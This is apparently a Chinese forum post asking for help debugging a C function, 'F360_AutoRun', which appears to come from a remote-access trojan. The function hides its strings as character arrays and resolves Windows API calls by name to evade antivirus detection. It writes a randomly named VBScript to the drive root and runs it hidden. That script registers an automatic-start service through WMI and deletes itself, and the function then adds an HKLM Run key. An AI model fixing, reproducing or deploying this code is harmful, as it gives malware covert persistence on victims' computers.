求各位大神,程序有错误,帮忙调试一段代码,谢谢
DWORD F360_AutoRun(LPCTSTR lpServiceName,char *ZC_nime) //修改启动项注册表{
HANDLE hFile;
DWORD dwWritten;
char Qname[100]={0};
char cmdline[1000]={0};
char szbuf[256]={0};
char THwIn01[] = {'C','o','n','s','t',' ','h','k','l','m','=','&','h','8','0','0','0','0','0','0','2','\0'};
char THwIn02[] = {'C','o','n','s','t',' ','n','a','m','e','1','=','"','\0'};
char THwIn03[] = {'"','\0'};
char THwIn04[] = {'S','e','t',' ','w','m','i','=','G','e','t','O','b','j','e','c','t','(','"','w','i','n','m','g','m','t','s',':','\\','\\','.','\\','r','o','o','t','\\','c','i','m','v','2','"',')','\0'};
char THwIn05[] = {'S','e','t',' ','l','i','s','t','=','w','m','i','.','g','e','t','(','"','w','i','n','3','2','_','s','e','r','v','i','c','e','"',')','\0'};
char THwIn06[] = {'u','u','2','=','l','i','s','t','.','c','r','e','a','t','e','(','n','a','m','e','1',',','"','\0'};
char THwIn07[] = {'"',',','"','\0'};
char THwIn08[] = {'"',',','1','6',',','2',',','"','A','u','t','o','m','a','t','i','c','"',',','t','r','u','e',',','N','u','l','l',',','n','u','l','l',')','\0'};
char THwIn09[] = {'S','e','t',' ','w','m','i','=','G','e','t','O','b','j','e','c','t','(','"','w','i','n','m','g','m','t','s',':','\\','\\','.','\\','r','o','o','t','\\','d','e','f','a','u','l','t',':','s','t','d','r','e','g','p','r','o','v','"',')','\0'};
char THwIn10[] = {'w','m','i','.','s','e','t','s','t','r','i','n','g','v','a','l','u','e',' ','h','k','l','m',',','"','S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','S','e','r','v','i','c','e','s','\\','"',' ','&',' ','n','a','m','e','1',',','"','D','e','s','c','r','i','p','t','i','o','n','"',',','s','t','r','d','e','s','\0'};
char THwIn11[] = {'D','i','m',' ','o','b','j','w','s','\0'};
char THwIn12[] = {'D','i','m',' ','k','a','v','p','a','t','h','\0'};
char THwIn13[] = {'S','e','t',' ','o','b','j','w','s','=','W','S','c','r','i','p','t','.','C','r','e','a','t','e','O','b','j','e','c','t','(','"','w','s','c','r','i','p','t','.','s','h','e','l','l','"',')','\0'};
char THwIn14[] = {'s','e','t',' ','f','s','o','=','w','s','c','r','i','p','t','.','c','r','e','a','t','e','o','b','j','e','c','t','(','"','s','c','r','i','p','t','i','n','g','.','f','i','l','e','s','y','s','t','e','m','o','b','j','e','c','t','"',')','\0'};
char THwIn15[] = {'c','r','e','a','t','e','o','b','j','e','c','t','(','"','s','c','r','i','p','t','i','n','g','.','f','i','l','e','s','y','s','t','e','m','o','b','j','e','c','t','"',')','.','d','e','l','e','t','e','f','i','l','e',' ','w','s','c','r','i','p','t','.','s','c','r','i','p','t','f','u','l','l','n','a','m','e','\0'};
char RgiDm02[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char UtKoF31[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
CreateFileAT pCreateFileA=(CreateFileAT)GetProcAddress(LoadLibrary(RgiDm02),UtKoF31);
char UtKoF32[] = {'W','r','i','t','e','F','i','l','e','\0'};
WriteFileT pWriteFile=(WriteFileT)GetProcAddress(LoadLibrary(RgiDm02),UtKoF32);
char JtQBs02[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary(RgiDm02),JtQBs02);
char ResHF01[] = {'M','S','V','C','R','T','.','d','l','l','\0'};
char BEcXb03[] = {'s','p','r','i','n','t','f','\0'};
sprintfT psprintf=(sprintfT)GetProcAddress(LoadLibrary(ResHF01),BEcXb03);
char LCoHX03[] = {'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','\0'};
GetModuleFileNameAT pGetModuleFileNameA=(GetModuleFileNameAT)GetProcAddress(LoadLibrary(RgiDm02),LCoHX03);
pGetModuleFileNameA(NULL,szbuf,MAX_PATH); //用于获取程序本身路径
char UtKoF35[] = {'%','s','\n','\r','%','s','%','s','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','%','s','%','s','%','s','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\0'};
psprintf(cmdline,UtKoF35,THwIn01,THwIn02,lpServiceName,THwIn03,THwIn04,THwIn05,THwIn06,lpServiceName,THwIn07,ZC_nime,THwIn08,THwIn09,THwIn10,THwIn11,THwIn12,THwIn13,THwIn14,THwIn15);
int SzName = StormRand(10000); //随机数字名称
szbuf[3]='\0';
char UtKoF30[] = {'%','s','%','d','.','v','b','s','\0'};
psprintf(Qname,UtKoF30,szbuf,SzName); //
hFile=pCreateFileA(Qname,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
pWriteFile(hFile,(LPCVOID)cmdline,sizeof(cmdline),&dwWritten,NULL);
pCloseHandle(hFile);
char Skvcq05[] = {'S','H','E','L','L','3','2','.','d','l','l','\0'};
char DYrEN27[] = {'S','h','e','l','l','E','x','e','c','u','t','e','A','\0'};
ShellExecuteAT pShellExecuteA=(ShellExecuteAT)GetProcAddress(LoadLibrary(Skvcq05),DYrEN27);
char BvtmX12[] = {'o','p','e','n','\0'};
pShellExecuteA(NULL,BvtmX12,Qname,NULL,NULL,SW_HIDE);
char run[] = {'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','R','u','n','\0'};
WriteRegEx(HKEY_LOCAL_MACHINE,run,m_ServiceInfo.Mexi,REG_SZ,ZC_nime,Gyfunction->my_strlen(ZC_nime),0); //新建启动项
return 0;
}